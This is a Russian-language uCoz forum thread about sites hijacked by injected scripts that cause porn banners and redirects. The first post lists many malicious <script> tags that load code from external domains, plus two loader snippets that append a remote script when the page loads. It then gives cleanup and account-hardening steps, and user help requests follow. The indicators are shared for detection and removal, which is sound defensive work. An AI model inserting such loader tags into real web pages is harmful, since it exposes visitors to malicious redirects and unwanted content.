Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Если на вашем сайте появились порнобаннеры (порнобаннеры, всплывающая реклама, окна или переброс)
Если на вашем сайте появились порнобаннеры
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1 | 15:57:08
Если на вашем сайте постоянные перебросы на другие сайты или появляется куча всплывающих рекламных баннеров, порнобаннеров, то вы должны проверить код страниц на наличие следующих скриптов:

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/hvuz2754blb414j/niucee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/eipt4uu8dbovggv/niuggcee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/1ca1t7akhf87zrc/flashsiteru.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/af6arwcjnknnb15/menu.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/ud3ne5xe8dcre8u/topbottom.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/kuejhhvopk6nw6z/mysql.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/g5zffknmr8da4tp/update.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4lgd2g170q96tq3/menu-v2.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4f9eakzpj17n2yw/shapka.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/tnwyduomjbcsxzm/opapo.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/207odofje1uzdl5/orororo.txt"></script>
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/98vihkxfbix863weu7zv9wqxjxhbbdh'></script>
<script type="text/javascript" src="http://nativevat.hol.es/rases.txt"></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Актуальные на данный момент и самые распространенные эти скрипты

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://bobrilla.com/7h4p5qn4qhr8ee1ywr1nh01af3d31nbp'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://iqmasa.ru/6rzofz8uuc28ef8pehs6rx5nbidd8hra473w3yk0c1n9d39'></script>

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://fasterdir.ru/8v0n2hh3me45jvyxrtdyc4164r61v4ut'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>


Код
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobatori.com/6h3mo39hhqx8pibnjyshzo13skikuus5'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8mi9nn0te6q68tjygr5vm573z85xk4lzw89gq7udb51xh8l'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://chicop.ru/68sb0mshp9b78t1epj44r8zi8bjocb9'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobmas.ru/s/948'></script>


Код

<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?818010=LmcuKHw4NjU5MTM-KWdrbm5oaG0';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>
<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?823389=KWApL3s_MTI-NjQ5LmBsaWlvb2U';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>



Как удалить:

1) Код как правило внедряется в шаблоны Страницы сайта. Модуль новости (все шаблоны) но могут быть варианты. Иногда код внедряется во все шаблоны сайта.
Прописывается в верхней части шаблона или в самом низу. Реже встречается в футере (глобальный блок Нижняя часть сайта)

2) Для удаления нужно воспользоваться функцией Быстрой замены. Для этого надо пройти в панель управления - Дизайн - Управление дизайном - Быстрая замена - В поле "Что заменить" вставляете скрипт (даже если внедрено много скриптов лучше удалять по одному) - Поле на что изменить оставляете пустым и производите замену во всех действующих модулях
Если скриптов много внедрено, можно попробовать многострочную замену по той же схеме
3) После очистки сайта от внедренного кода нужно обязательно сменить пароль uID профиля, которым администрируете сайт. Инструкция по изменению пароля находится тут //forum.ucoz.ru/forum/45-52299-1
4) Если после изменения uID пароля на новый сложный у вас снова и снова возникает проблема внедрения чужеродного кода, то выполните следующие инструкции:
1) создайте нового пользователя в панели управления сайтом: задайте ему Логин и сложнейший пароль
2) дайте созданному пользователю права администратора, а у бывшего uID профиля, которым администрировали сайт заберите права и переведите его в низшую группу
3) в общих настройках сайта поставьте старый Вид кнопки uID авторизации и далее администрируйте сайт локально
5) Если локальный способ администрирования для вас не подходит, то создайте в системе ещё один uID профиль, на котором не будет сайтов и прав управления ни одним из сайтов. И новый созданный профиль используйте для авторизации на сайтах системы uCoz с uID авторизацией. А uID профилем, которым вы администрируете сайт или сайты заходите только к себе на сайты и более никуда. И поставьте на uID пароль администратора сайта сложнейший пароль!
6) Заберите права доступа к админ бару другим администраторам и модераторам вашего сайта. не пускайте никого в панель управления сайтом
7) Будьте внимательны к письмам, которые приходят на вашу почту. Часто мошенники имитируют письма от вебсервиса uCoz, в которых просят вас пройти или верификацию или пройти по ссылкам, также просят ввод ваших данных (вебтоп пароль и пароль uID профиля или секретный вопрос и ответ). Если вы сомневаетесь в письме, которое вам пришло от имени сервиса, вы можете всегда спросить или на форуме в этой теме //forum.ucoz.ru/forum/45-46950-1 или перешлите его сразу на адрес abuse@ucoz.ru
Будьте всегда бдительны и следите за темой //forum.ucoz.ru/forum/45-35739-1


Если вы вообще ничего не поняли, но проблема появления всплывающих порнобаннеров и переброски на чужие сайты с вашего у вас существует, то при обращении в эту тему вы должны дать ссылку на свой сайт, дать ссылку на сайт куда перебрасывает (если есть переброс), а так же указать происходит это под логином или под гостем

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
houselovebooks
Сообщений: 3
Репутация: 0

Сообщение # 181 | 21:22:30
Здравствуйте!
Помогите пожалуйста разобраться: когда захожу на свой сайт ( http://houselovebooks.narod.ru/news/ ) под видом гостя, стоит нажать на какую-нибудь ссылку в меню, или заходя в комментарии в новостях, или на Яндекс-метрику, меня автоматически перебрасывает на этот сайт http://www.wildberries.ru/?utm_source=ad_cpamarketing&utm_campaign=ad_cpamarketing&utm_medium=66948&trafkey=db577c6f-beef-a7bf-fef3-01463983fe68.66948

Пробовала искать этот код, пробовала действовать по вышеуказанной инструкцию, но у меня ничего не получается.
$Vladimir$
Сообщений: 7465
Репутация: 1053

Сообщение # 182 | 08:51:32
houselovebooks, вам нужно оплатить скрытие рекламного баннера. Если вы не хотите этого, по каким то причинам, пользуйтесь браузерами со встроенными блокировщиками (Uran, Яндекс браузер) или дополнениями для блокировки рекламы.
zvartnoz
Сообщений: 20
Репутация: 1

Сообщение # 183 | 09:07:36
houselovebooks, прошелся по сайту, вроде все нормально, ни куда не перекидывает, все страницы нормально открываются, заходил через гугл-хром

Заходите в гости
http://yurpom24.ucoz.ru/
houselovebooks
Сообщений: 3
Репутация: 0

Сообщение # 184 | 20:24:09
zvartnoz,
zvartnoz - спасибо! Значит дело в моем браузере.
pashahome
Сообщений: 1
Репутация: 0

Сообщение # 185 | 00:20:34
Проблема следующая: При просмотре с мобильных устройств происходит редирект на порносайты. Проблема ТОЛЬКО на мобильных устройствах (iOS), так же знакомые говорили, что на Android 4 тоже было. Редирект происходит не сразу, а через какое-то количество переходов по страницам (форуму и т.д.), причем количество разное от 2 до 10. На стационарных компьютерах проблем вообще не наблюдается. Что делать и куда смотреть? Вроде пересмотрел весь код страничек, ничего не нашел, кроме 2х внешних ссылок с САПА.

ЗЫ: проблему видели минимум на 3х смартфонах и 2х планшетах разные люди.

Добавлено (03 Июн 2014, 00:20:34)
---------------------------------------------
Дополнение: сайт Экстримавто.рф

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 186 | 00:26:45
pashahome, в шаблоне верхняя часть сайта

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://linerlink.ru/537orcfikuw90iarzbls0k1a12967ln9'></script>

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
jardnepr
Сообщений: 43
Репутация: 19
Уровень замечаний:

Сообщение # 187 | 22:51:29
Здравствуйте. Появилась такая проблема:
На сайте http://jaroslaw-kuhtij.at.ua/ есть сторонние рекламные баннеры, которые я устанавливал сам.
Вчера зайдя на сайт(через Firefox), увидел вместо них рекламу от гугл. Первая мысль "взломали сайт". Начал проверять на вирусы и искать сторонние скрипты - ничего не нашел. Затем попробовал открыть сайт в других браузерах - всё нормально. Переустановил Firefox - не помогло, реклама от гугл осталась, но опять же только в Firefox. Вопрос, что это и как можно побороть? Спасибо не равнодушным.

http://hot-kot.at.ua/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 188 | 23:22:26
jardnepr, сайт с автосерфа снимите.

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
budapeshtskaja27
Сообщений: 3
Репутация: 0

Сообщение # 189 | 00:23:08
Доброго времени! На сайте http://budapeshtskaja.ucoz.ru/ появилась переадресация на eroblink.com/register.php пока поймал только на андройде. Дальше отсылает на маркет, а там приложение Вулкан. dont перепробовал скрипты отсюда, подставлял в них eroblink.com/register.php искал замену просто по нему. Ни чего. Пересмотрел шаблоны, левых скриптов не обнаружил.
$Vladimir$
Сообщений: 7465
Репутация: 1053

Сообщение # 190 | 03:03:03
budapeshtskaja27, лечите свой android
budapeshtskaja27
Сообщений: 3
Репутация: 0

Сообщение # 191 | 14:53:12
Есть все основания полагать что с ним все в порядке. Вылазит эта фигня только когда на budapeshtskaja.ucoz.ru перехожу по какой либо ссылке. На главную входит спокойно. Авсаст на андройде говроит все Ок. Ни где больше такой проблемы нет.
$Vladimir$
Сообщений: 7465
Репутация: 1053

Сообщение # 192 | 15:10:12
budapeshtskaja27, сделайте скриншот, на котором будет видно проблему. Также уточните, откуда осуществляете переход на сайт.
Кроме мобильной рекламы ничего не замечено.
budapeshtskaja27
Сообщений: 3
Репутация: 0

Сообщение # 193 | 23:22:27
Со вчерашнего дня вроде прошло, происходило как уже описывал, из закладок вхожу на главную далее по любому меню в шапке попадал на eroblink и тут-же загрвжается гугл плай с Вулканом. Был не авторизован на сайте, сейчас вышел, но невоспроизвелось. Если поймаю еще сделаю скриншот.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 194 | 23:25:53
budapeshtskaja27, проверяйте сайт в незалогиненом виде

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Конь
Сообщений: 32
Репутация: 5

Сообщение # 195 | 09:21:43
Здравствуйте!
сайт http://teremoshka.ru/
Проблема такая - идет постоянное перенаправление на сторонние сайты с главной страницы, причем только при переходе на системные страницы сайта (архив, каталог файлов и т.п.).
При переходе на страницы созданные вручную (рубрика "для детей" и вся крайняя правая колонка) перенаправления нет.
Цитата webanet ()
Если на вашем сайте постоянные перебросы на другие сайты или появляется куча всплывающих рекламных баннеров, порнобаннеров, то вы должны проверить код страниц на наличие следующих скриптов:
Все это проверено-перепроверено, проверены всякие <frame> и т.п. Ничего не обнаружено...
Где собака зарыта?

Старый конь ничего не испортит.
Сообщение отредактировал Конь - Среда, 18 Июн 2014, 09:22:20
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Если на вашем сайте появились порнобаннеры (порнобаннеры, всплывающая реклама, окна или переброс)
Поиск: